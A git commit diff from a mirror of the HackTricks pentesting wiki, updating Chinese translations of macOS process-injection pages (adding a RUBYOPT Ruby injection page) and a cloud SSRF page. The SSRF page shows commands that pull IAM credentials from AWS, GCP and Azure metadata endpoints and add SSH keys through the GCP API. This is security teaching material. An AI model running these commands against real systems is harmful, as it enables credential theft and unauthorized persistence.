mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-22 04:33:28 +00:00
Translated ['macos-hardening/macos-security-and-privilege-escalation/mac
This commit is contained in:
parent
575f155096
commit
42c755d3de
4 changed files with 127 additions and 64 deletions
|
@ -179,6 +179,7 @@
|
|||
* [macOS Library Injection](macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-library-injection/README.md)
|
||||
* [macOS Dyld Hijacking & DYLD\_INSERT\_LIBRARIES](macos-hardening/macos-security-and-privilege-escalation/macos-dyld-hijacking-and-dyld\_insert\_libraries.md)
|
||||
* [macOS Perl Applications Injection](macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-perl-applications-injection.md)
|
||||
* [macOS Ruby Applications Injection](macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ruby-applications-injection.md)
|
||||
* [macOS .Net Applications Injection](macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-.net-applications-injection.md)
|
||||
* [macOS Security Protections](macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/README.md)
|
||||
* [macOS Gatekeeper / Quarantine / XProtect](macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-gatekeeper.md)
|
||||
|
|
|
@ -2,21 +2,21 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零到英雄学习 AWS 黑客攻击</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS 红队专家)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>从零开始学习 AWS 黑客技术,成为</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS 红队专家)</strong></a><strong>!</strong></summary>
|
||||
|
||||
支持 HackTricks 的其他方式:
|
||||
|
||||
* 如果您想在 **HackTricks 中看到您的公司广告** 或 **下载 HackTricks 的 PDF**,请查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取 [**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
|
||||
* 发现 [**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们独家 [**NFTs**](https://opensea.io/collection/the-peass-family) 的收藏
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram 群组**](https://t.me/peass) 或在 **Twitter** 🐦 上 **关注** 我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
||||
* 如果您想在 HackTricks 中看到您的**公司广告**或**下载 HackTricks 的 PDF**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
|
||||
* 发现[**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们独家的 [**NFTs 集合**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram 群组**](https://t.me/peass) 或在 **Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享您的黑客技巧。
|
||||
|
||||
</details>
|
||||
|
||||
## MacOS 进程滥用
|
||||
|
||||
MacOS,像其他操作系统一样,提供了多种方法和机制,用于**进程之间的互动、通信和数据共享**。虽然这些技术对于系统的高效运行至关重要,但它们也可能被威胁行为者滥用来**执行恶意活动**。
|
||||
MacOS,像其他操作系统一样,提供了多种方法和机制,用于**进程之间的互动、通信和数据共享**。虽然这些技术对于系统的高效运行至关重要,但它们也可能被威胁行为者滥用,以**执行恶意活动**。
|
||||
|
||||
### 库注入
|
||||
|
||||
|
@ -36,7 +36,7 @@ MacOS,像其他操作系统一样,提供了多种方法和机制,用于**
|
|||
|
||||
### 进程间通信
|
||||
|
||||
进程间通信(IPC)指的是不同进程**共享和交换数据**的不同方法。虽然 IPC 对许多合法应用程序至关重要,但它也可能被滥用来破坏进程隔离、泄露敏感信息或执行未授权的操作。
|
||||
进程间通信(IPC)指的是不同进程**共享和交换数据**的不同方法。虽然 IPC 对许多合法应用程序至关重要,但它也可能被滥用,以破坏进程隔离,泄露敏感信息或执行未授权的操作。
|
||||
|
||||
{% content-ref url="../mac-os-architecture/macos-ipc-inter-process-communication/" %}
|
||||
[macos-ipc-inter-process-communication](../mac-os-architecture/macos-ipc-inter-process-communication/)
|
||||
|
@ -52,7 +52,7 @@ MacOS,像其他操作系统一样,提供了多种方法和机制,用于**
|
|||
|
||||
### Dirty NIB
|
||||
|
||||
NIB 文件**定义用户界面(UI)元素**及其在应用程序中的交互。然而,它们可以**执行任意命令**,并且**Gatekeeper 不会阻止**已经执行的应用程序被执行,如果**NIB 文件被修改**。因此,它们可以用来使任意程序执行任意命令:
|
||||
NIB 文件**定义用户界面(UI)元素**及其在应用程序中的交互。然而,它们可以**执行任意命令**,并且**Gatekeeper 不会阻止**已经执行的应用程序被执行,如果**NIB 文件被修改**。因此,它们可以被用来使任意程序执行任意命令:
|
||||
|
||||
{% content-ref url="macos-dirty-nib.md" %}
|
||||
[macos-dirty-nib.md](macos-dirty-nib.md)
|
||||
|
@ -60,7 +60,7 @@ NIB 文件**定义用户界面(UI)元素**及其在应用程序中的交互
|
|||
|
||||
### Java 应用程序注入
|
||||
|
||||
可以滥用某些 Java 功能(如环境变量 **`_JAVA_OPTS`**)使 Java 应用程序执行**任意代码/命令**。
|
||||
可以滥用某些 Java 能力(如 **`_JAVA_OPTS`** 环境变量)使 Java 应用程序执行**任意代码/命令**。
|
||||
|
||||
{% content-ref url="macos-java-apps-injection.md" %}
|
||||
[macos-java-apps-injection.md](macos-java-apps-injection.md)
|
||||
|
@ -68,7 +68,7 @@ NIB 文件**定义用户界面(UI)元素**及其在应用程序中的交互
|
|||
|
||||
### .Net 应用程序注入
|
||||
|
||||
可以通过**滥用 .Net 调试功能**(不受 macOS 保护,如运行时加固)来注入 .Net 应用程序中的代码。
|
||||
可以通过**滥用 .Net 调试功能**(不受 macOS 保护,如运行时加固)来注入代码到 .Net 应用程序中。
|
||||
|
||||
{% content-ref url="macos-.net-applications-injection.md" %}
|
||||
[macos-.net-applications-injection.md](macos-.net-applications-injection.md)
|
||||
|
@ -76,23 +76,31 @@ NIB 文件**定义用户界面(UI)元素**及其在应用程序中的交互
|
|||
|
||||
### Perl 注入
|
||||
|
||||
查看不同的选项,使 Perl 脚本在以下位置执行任意代码:
|
||||
检查不同的选项,使 Perl 脚本在以下位置执行任意代码:
|
||||
|
||||
{% content-ref url="macos-perl-applications-injection.md" %}
|
||||
[macos-perl-applications-injection.md](macos-perl-applications-injection.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### Ruby 注入
|
||||
|
||||
也可以滥用 Ruby 环境变量,使任意脚本执行任意代码:
|
||||
|
||||
{% content-ref url="macos-ruby-applications-injection.md" %}
|
||||
[macos-ruby-applications-injection.md](macos-ruby-applications-injection.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### Python 注入
|
||||
|
||||
如果设置了环境变量 **`PYTHONINSPECT`**,Python 进程在完成后会进入 Python 命令行界面。也可以使用 **`PYTHONSTARTUP`** 来指示在交互式会话开始时执行的 Python 脚本。\
|
||||
如果设置了环境变量 **`PYTHONINSPECT`**,Python 进程在结束后会进入 Python 命令行界面。也可以使用 **`PYTHONSTARTUP`** 来指示在交互式会话开始时执行的 Python 脚本。\
|
||||
但是,请注意,当 **`PYTHONINSPECT`** 创建交互式会话时,**`PYTHONSTARTUP`** 脚本不会被执行。
|
||||
|
||||
其他环境变量,如 **`PYTHONPATH`** 和 **`PYTHONHOME`**,也可能有助于使 Python 命令执行任意代码。
|
||||
其他环境变量,如 **`PYTHONPATH`** 和 **`PYTHONHOME`**,也可以用来使 Python 命令执行任意代码。
|
||||
|
||||
请注意,使用 **`pyinstaller`** 编译的可执行文件即使使用嵌入式 Python 运行,也不会使用这些环境变量。
|
||||
请注意,使用 **`pyinstaller`** 编译的可执行文件即使在使用嵌入式 Python 运行时也不会使用这些环境变量。
|
||||
|
||||
{% hint style="danger" %}
|
||||
总的来说,我没有找到利用环境变量使 Python 执行任意代码的方法。\
|
||||
总的来说,我没有找到一种方法可以通过滥用环境变量使 Python 执行任意代码。\
|
||||
然而,大多数人使用 **Homebrew** 安装 Python,这将在默认管理员用户的**可写位置**安装 Python。您可以用类似的方法劫持它:
|
||||
```bash
|
||||
mv /opt/homebrew/bin/python3 /opt/homebrew/bin/python3.old
|
||||
|
@ -114,14 +122,14 @@ chmod +x /opt/homebrew/bin/python3
|
|||
|
||||
* 使用**环境变量**:它会监控以下任何环境变量的存在:**`DYLD_INSERT_LIBRARIES`**、**`CFNETWORK_LIBRARY_PATH`**、**`RAWCAMERA_BUNDLE_PATH`** 和 **`ELECTRON_RUN_AS_NODE`**
|
||||
* 使用 **`task_for_pid`** 调用:找出一个进程何时想要获取**另一个进程的任务端口**,这允许向进程中注入代码。
|
||||
* **Electron 应用参数**:有人可以使用 **`--inspect`**、**`--inspect-brk`** 和 **`--remote-debugging-port`** 命令行参数来启动 Electron 应用的调试模式,从而向其中注入代码。
|
||||
* **Electron 应用参数**:有人可以使用 **`--inspect`**、**`--inspect-brk`** 和 **`--remote-debugging-port`** 命令行参数来启动 Electron 应用程序的调试模式,从而向其中注入代码。
|
||||
* 使用**符号链接**或**硬链接**:通常最常见的滥用是**用我们的用户权限放置一个链接**,并**指向更高权限**的位置。对于硬链接和符号链接,检测非常简单。如果创建链接的进程与目标文件的**权限级别不同**,我们会创建一个**警报**。不幸的是,在符号链接的情况下,阻止是不可能的,因为我们在创建之前没有关于链接目的地的信息。这是苹果的 EndpointSecuriy 框架的一个限制。
|
||||
|
||||
### 其他进程发起的调用
|
||||
### 由其他进程发起的调用
|
||||
|
||||
在[**这篇博客文章**](https://knight.sc/reverse%20engineering/2019/04/15/detecting-task-modifications.html)中,你可以找到如何使用函数 **`task_name_for_pid`** 来获取有关其他**进程在一个进程中注入代码**的信息,然后获取有关那个其他进程的信息。
|
||||
在[**这篇博客文章**](https://knight.sc/reverse%20engineering/2019/04/15/detecting-task-modifications.html)中,你可以找到如何使用函数 **`task_name_for_pid`** 来获取有关其他**进程在进程中注入代码**的信息,然后获取有关那个其他进程的信息。
|
||||
|
||||
请注意,要调用该函数,你需要与运行进程的**相同 uid** 或者是 **root**(它返回有关进程的信息,而不是注入代码的方法)。
|
||||
请注意,要调用该函数,你需要与运行进程的用户具有**相同的 uid**或者是**root**(它返回有关进程的信息,而不是注入代码的方法)。
|
||||
|
||||
## 参考资料
|
||||
|
||||
|
@ -132,7 +140,7 @@ chmod +x /opt/homebrew/bin/python3
|
|||
|
||||
<summary><strong>通过</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> 从零开始学习 AWS 黑客攻击!</strong></summary>
|
||||
|
||||
其他支持 HackTricks 的方式:
|
||||
支持 HackTricks 的其他方式:
|
||||
|
||||
* 如果你想在 **HackTricks** 中看到你的**公司广告**或**下载 HackTricks 的 PDF**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
|
||||
|
|
|
@ -0,0 +1,59 @@
|
|||
# macOS Ruby 应用程序注入
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习 AWS 黑客攻击直到成为专家,通过</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS 红队专家)</strong></a><strong>!</strong></summary>
|
||||
|
||||
支持 HackTricks 的其他方式:
|
||||
|
||||
* 如果您希望在 **HackTricks 中看到您的公司广告** 或 **下载 HackTricks 的 PDF 版本**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取 [**官方的 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
|
||||
* 发现 [**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们独家的 [**NFT 集合**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram 群组**](https://t.me/peass) 或在 **Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享您的黑客技巧。
|
||||
|
||||
</details>
|
||||
|
||||
## RUBYOPT
|
||||
|
||||
使用这个环境变量可以在每次执行 **ruby** 时**添加新的参数**。虽然不能使用参数 **`-e`** 来指定要执行的 ruby 代码,但可以使用参数 **`-I`** 和 **`-r`** 来添加一个新的文件夹到库加载路径,然后**指定一个要加载的库**。
|
||||
|
||||
在 **`/tmp`** 中创建库 **`inject.rb`**:
|
||||
|
||||
{% code title="inject.rb" %}
|
||||
```ruby
|
||||
puts `whoami`
|
||||
```
|
||||
```markdown
|
||||
{% endcode %}
|
||||
|
||||
在任何地方创建一个像这样的Ruby脚本:
|
||||
|
||||
{% code title="hello.rb" %}
|
||||
```
|
||||
```ruby
|
||||
puts 'Hello, World!'
|
||||
```
|
||||
```markdown
|
||||
然后使用以下命令加载一个任意的ruby脚本:
|
||||
```
|
||||
```bash
|
||||
RUBYOPT="-I/tmp -rinject" ruby hello.rb
|
||||
```
|
||||
趣事,即使使用参数 **`--disable-rubyopt`** 也能工作:
|
||||
```bash
|
||||
RUBYOPT="-I/tmp -rinject" ruby hello.rb --disable-rubyopt
|
||||
```
|
||||
<details>
|
||||
|
||||
<summary><strong>从零到英雄学习AWS黑客攻击,通过</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
* 如果您想在**HackTricks中看到您的公司广告**或**以PDF格式下载HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks商品**](https://peass.creator-spring.com)
|
||||
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs系列**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram群组**](https://t.me/peass) 或在 **Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
|
||||
</details>
|
|
@ -1,20 +1,20 @@
|
|||
# 云端SSRF
|
||||
# 云SSRF
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS红队专家)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>从零到英雄学习AWS黑客技术,参加</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS红队专家)</strong></a><strong>!</strong></summary>
|
||||
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
* 如果您想在**HackTricks中看到您的公司广告**或**下载HackTricks的PDF**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 如果您想在**HackTricks中看到您的公司广告**或**以PDF格式下载HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks商品**](https://peass.creator-spring.com)
|
||||
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs系列**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**telegram群组**](https://t.me/peass)或在**Twitter**上**关注**我 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
||||
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram群组**](https://t.me/peass) 或在**Twitter**上**关注**我 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
找到对您最重要的漏洞,以便更快修复它们。Intruder追踪您的攻击面,运行主动威胁扫描,在您的整个技术栈中找到问题,从API到Web应用程序和云系统。[**今天就免费试用**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks)。
|
||||
|
||||
|
@ -26,9 +26,9 @@
|
|||
|
||||
### 在AWS EC2环境中滥用SSRF
|
||||
|
||||
**元数据**端点可以从任何EC2机器内部访问,并提供有关它的有趣信息。它可以通过URL访问:`http://169.254.169.254` ([关于元数据的信息在这里](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-metadata.html))。
|
||||
**元数据**端点可以从任何EC2机器内部访问,并提供有关它的有趣信息。它可以通过以下URL访问:`http://169.254.169.254`([关于元数据的信息在这里](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-metadata.html))。
|
||||
|
||||
元数据端点有**两个版本**。**第一个版本**允许通过**GET**请求**访问**端点(因此任何**SSRF都可以利用它**)。对于**第二个版本**,[IMDSv2](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/configuring-instance-metadata-service.html),您需要通过发送带有**HTTP头**的**PUT**请求来请求一个**令牌**,然后使用该令牌和另一个HTTP头来访问元数据(因此用SSRF滥用它**更复杂**)。
|
||||
元数据端点有**两个版本**。**第一个版本**允许通过**GET**请求**访问**端点(因此任何**SSRF都可以利用它**)。对于**第二个版本**,[IMDSv2](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/configuring-instance-metadata-service.html),您需要发送**PUT**请求并带有一个**HTTP头**来请求一个**令牌**,然后使用该令牌和另一个HTTP头来访问元数据(因此用SSRF滥用它**更复杂**)。
|
||||
|
||||
{% hint style="danger" %}
|
||||
请注意,如果EC2实例正在强制执行IMDSv2,[**根据文档**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-metadata-v2-how-it-works.html),**PUT请求的响应**将具有**跳数限制为1**,使得无法从EC2实例内的容器访问EC2元数据。
|
||||
|
@ -98,9 +98,9 @@ eval $aws_req "$URL/identity-credentials/ec2/security-credentials/ec2-instance";
|
|||
```
|
||||
作为一个**公开可用的IAM凭证**暴露的例子,您可以访问:[http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/iam/security-credentials/flaws](http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/iam/security-credentials/flaws)
|
||||
|
||||
您也可以在以下位置检查公开的**EC2安全凭证**:[http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance](http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance)
|
||||
您也可以在以下链接检查公开的**EC2安全凭证**:[http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance](http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance)
|
||||
|
||||
然后,您可以**使用这些凭证结合AWS CLI**。这将允许您做**该角色有权限做的任何事情**。
|
||||
然后,您可以**取得这些凭证并将它们与AWS CLI一起使用**。这将允许您做任何该角色有权限做的**事情**。
|
||||
|
||||
要利用新的凭证,您需要像这样创建一个新的AWS配置文件:
|
||||
```
|
||||
|
@ -109,7 +109,7 @@ aws_access_key_id = ASIA6GG7PSQG4TCGYYOU
|
|||
aws_secret_access_key = a5kssI2I4H/atUZOwBr5Vpggd9CxiT5pUkyPJsjC
|
||||
aws_session_token = AgoJb3JpZ2luX2VjEGcaCXVzLXdlc3QtMiJHMEUCIHgCnKJl8fwc+0iaa6n4FsgtWaIikf5mSSoMIWsUGMb1AiEAlOiY0zQ31XapsIjJwgEXhBIW3u/XOfZJTrvdNe4rbFwq2gMIYBAAGgw5NzU0MjYyNjIwMjkiDCvj4qbZSIiiBUtrIiq3A8IfXmTcebRDxJ9BGjNwLbOYDlbQYXBIegzliUez3P/fQxD3qDr+SNFg9w6WkgmDZtjei6YzOc/a9TWgIzCPQAWkn6BlXufS+zm4aVtcgvBKyu4F432AuT4Wuq7zrRc+42m3Z9InIM0BuJtzLkzzbBPfZAz81eSXumPdid6G/4v+o/VxI3OrayZVT2+fB34cKujEOnBwgEd6xUGUcFWb52+jlIbs8RzVIK/xHVoZvYpY6KlmLOakx/mOyz1tb0Z204NZPJ7rj9mHk+cX/G0BnYGIf8ZA2pyBdQyVbb1EzV0U+IPlI+nkIgYCrwTCXUOYbm66lj90frIYG0x2qI7HtaKKbRM5pcGkiYkUAUvA3LpUW6LVn365h0uIbYbVJqSAtjxUN9o0hbQD/W9Y6ZM0WoLSQhYt4jzZiWi00owZJjKHbBaQV6RFwn5mCD+OybS8Y1dn2lqqJgY2U78sONvhfewiohPNouW9IQ7nPln3G/dkucQARa/eM/AC1zxLu5nt7QY8R2x9FzmKYGLh6sBoNO1HXGzSQlDdQE17clcP+hrP/m49MW3nq/A7WHIczuzpn4zv3KICLPIw2uSc7QU6tAEln14bV0oHtHxqC6LBnfhx8yaD9C71j8XbDrfXOEwdOy2hdK0M/AJ3CVe/mtxf96Z6UpqVLPrsLrb1TYTEWCH7yleN0i9koRQDRnjntvRuLmH2ERWLtJFgRU2MWqDNCf2QHWn+j9tYNKQVVwHs3i8paEPyB45MLdFKJg6Ir+Xzl2ojb6qLGirjw8gPufeCM19VbpeLPliYeKsrkrnXWO0o9aImv8cvIzQ8aS1ihqOtkedkAsw=
|
||||
```
|
||||
请注意 **aws\_session\_token**,这对于配置文件的工作是必不可少的。
|
||||
注意 **aws\_session\_token**,这对于配置文件的工作是必不可少的。
|
||||
|
||||
可以使用[**PACU**](https://github.com/RhinoSecurityLabs/pacu)与发现的凭证一起使用,以了解您的权限并尝试提升权限
|
||||
|
||||
|
@ -127,7 +127,7 @@ curl "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" 2>/dev/null |
|
|||
请注意,在**某些情况下**,您将能够从容器访问**EC2元数据实例**(请检查之前提到的IMDSv2 TTL限制)。在这些场景中,您可以从容器访问容器IAM角色和EC2 IAM角色。
|
||||
{% endhint %}
|
||||
|
||||
### AWS Lambda的SSRF <a href="#6f97" id="6f97"></a>
|
||||
### AWS Lambda的SSRF <a href="#id-6f97" id="id-6f97"></a>
|
||||
|
||||
在这种情况下,**凭证存储在环境变量中**。因此,要访问它们,您需要访问类似**`file:///proc/self/environ`**的内容。
|
||||
|
||||
|
@ -137,36 +137,38 @@ curl "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" 2>/dev/null |
|
|||
* `AWS_SECRET_ACCESS_KEY`
|
||||
* `AWS_ACCES_KEY_ID`
|
||||
|
||||
此外,除了IAM凭证之外,Lambda函数还有**在启动时传递给函数的事件数据**。这些数据通过[运行时接口](https://docs.aws.amazon.com/lambda/latest/dg/runtimes-api.html)提供给函数,并可能包含**敏感**的**信息**(如在**stageVariables**内部)。与IAM凭证不同,这些数据可以通过标准的SSRF在**`http://localhost:9001/2018-06-01/runtime/invocation/next`**访问。
|
||||
此外,除了IAM凭证外,Lambda函数还有**在启动时传递给函数的事件数据**。这些数据通过[运行时接口](https://docs.aws.amazon.com/lambda/latest/dg/runtimes-api.html)提供给函数,并可能包含**敏感**的**信息**(如在**stageVariables**中)。与IAM凭证不同,这些数据可以通过标准的SSRF在**`http://localhost:9001/2018-06-01/runtime/invocation/next`**访问。
|
||||
|
||||
{% hint style="warning" %}
|
||||
请注意,**lambda凭证**位于**环境变量**中。因此,如果lambda代码的**堆栈跟踪**打印环境变量,通过在应用程序中**引发错误**可以**泄露**它们。
|
||||
{% endhint %}
|
||||
|
||||
### AWS Elastic Beanstalk的SSRF URL <a href="#6f97" id="6f97"></a>
|
||||
### AWS Elastic Beanstalk的SSRF URL <a href="#id-6f97" id="id-6f97"></a>
|
||||
|
||||
我们从API检索`accountId`和`region`。
|
||||
```
|
||||
http://169.254.169.254/latest/dynamic/instance-identity/document
|
||||
http://169.254.169.254/latest/meta-data/iam/security-credentials/aws-elasticbeanorastalk-ec2-role
|
||||
```
|
||||
我们随后从API中检索`AccessKeyId`、`SecretAccessKey`和`Token`。
|
||||
我们接着从API中检索`AccessKeyId`、`SecretAccessKey`和`Token`。
|
||||
```
|
||||
http://169.254.169.254/latest/meta-data/iam/security-credentials/aws-elasticbeanorastalk-ec2-role
|
||||
```
|
||||
## GCP <a href="#6440" id="6440"></a>
|
||||
然后我们使用凭证 `aws s3 ls s3://elasticbeanstalk-us-east-2-[ACCOUNT_ID]/`。
|
||||
|
||||
您可以在[**这里找到有关元数据端点的文档**](https://cloud.google.com/appengine/docs/standard/java/accessing-instance-metadata)。
|
||||
## GCP <a href="#id-6440" id="id-6440"></a>
|
||||
|
||||
### Google Cloud 的 SSRF URL <a href="#6440" id="6440"></a>
|
||||
您可以[**在此处找到有关元数据端点的文档**](https://cloud.google.com/appengine/docs/standard/java/accessing-instance-metadata)。
|
||||
|
||||
需要头部 "Metadata-Flavor: Google" 或 "X-Google-Metadata-Request: True",您可以通过以下 URL 访问元数据端点:
|
||||
### Google Cloud 的 SSRF URL <a href="#id-6440" id="id-6440"></a>
|
||||
|
||||
需要 HTTP 头 **`Metadata-Flavor: Google`**,您可以通过以下 URL 访问元数据端点:
|
||||
|
||||
* http://169.254.169.254
|
||||
* http://metadata.google.internal
|
||||
* http://metadata
|
||||
|
||||
用于提取信息的有趣端点:
|
||||
有趣的端点以提取信息:
|
||||
```bash
|
||||
# /project
|
||||
# Project name and number
|
||||
|
@ -265,7 +267,7 @@ gcloud config unset auth/access_token_file
|
|||
```
|
||||
{% endhint %}
|
||||
|
||||
### 添加 SSH 密钥 <a href="#3e24" id="3e24"></a>
|
||||
### 添加 SSH 密钥 <a href="#id-3e24" id="id-3e24"></a>
|
||||
|
||||
提取令牌
|
||||
```
|
||||
|
@ -290,17 +292,13 @@ curl -X POST "https://www.googleapis.com/compute/v1/projects/1042377752888/setCo
|
|||
-H "Content-Type: application/json"
|
||||
--data '{"items": [{"key": "sshkeyname", "value": "sshkeyvalue"}]}'
|
||||
```
|
||||
```markdown
|
||||
{% endcode %}
|
||||
|
||||
## Digital Ocean <a href="#9f1f" id="9f1f"></a>
|
||||
## Digital Ocean <a href="#id-9f1f" id="id-9f1f"></a>
|
||||
|
||||
{% hint style="warning" %}
|
||||
这里没有类似AWS Roles或GCP服务账户的东西,所以不要期望找到元数据机器人凭证
|
||||
Digital Ocean没有类似AWS Roles或GCP服务账户的东西,所以不要期望找到元数据机器人凭证
|
||||
{% endhint %}
|
||||
|
||||
文档可在 [`https://developers.digitalocean.com/documentation/metadata/`](https://developers.digitalocean.com/documentation/metadata/) 查看
|
||||
```
|
||||
文档可在[`https://developers.digitalocean.com/documentation/metadata/`](https://developers.digitalocean.com/documentation/metadata/)查看
|
||||
```
|
||||
curl http://169.254.169.254/metadata/v1/id
|
||||
http://169.254.169.254/metadata/v1.json
|
||||
|
@ -312,9 +310,9 @@ http://169.254.169.254/metadata/v1/region
|
|||
http://169.254.169.254/metadata/v1/interfaces/public/0/ipv6/addressAll in one request:
|
||||
curl http://169.254.169.254/metadata/v1.json | jq
|
||||
```
|
||||
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
找到对您最重要的漏洞,以便您能更快修复它们。Intruder 跟踪您的攻击面,运行主动威胁扫描,在您的整个技术栈中找到问题,从 API 到 Web 应用程序和云系统。今天就[**免费试用**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks)。
|
||||
找到最重要的漏洞,以便您可以更快地修复它们。Intruder 跟踪您的攻击面,运行主动威胁扫描,在您的整个技术栈中找到问题,从 API 到 web 应用程序和云系统。今天就[**免费试用**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks)。
|
||||
|
||||
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
|
||||
|
||||
|
@ -327,7 +325,7 @@ curl http://169.254.169.254/metadata/v1.json | jq
|
|||
[**文档**在这里](https://learn.microsoft.com/en-us/azure/virtual-machines/windows/instance-metadata-service?tabs=linux)。
|
||||
|
||||
* **必须**包含头部 `Metadata: true`
|
||||
* **不得**包含 `X-Forwarded-For` 头部
|
||||
* **不能**包含 `X-Forwarded-For` 头部
|
||||
|
||||
{% tabs %}
|
||||
{% tab title="Bash" %}
|
||||
|
@ -378,7 +376,7 @@ $userData = Invoke- RestMethod -Headers @{"Metadata"="true"} -Method GET -Uri "h
|
|||
|
||||
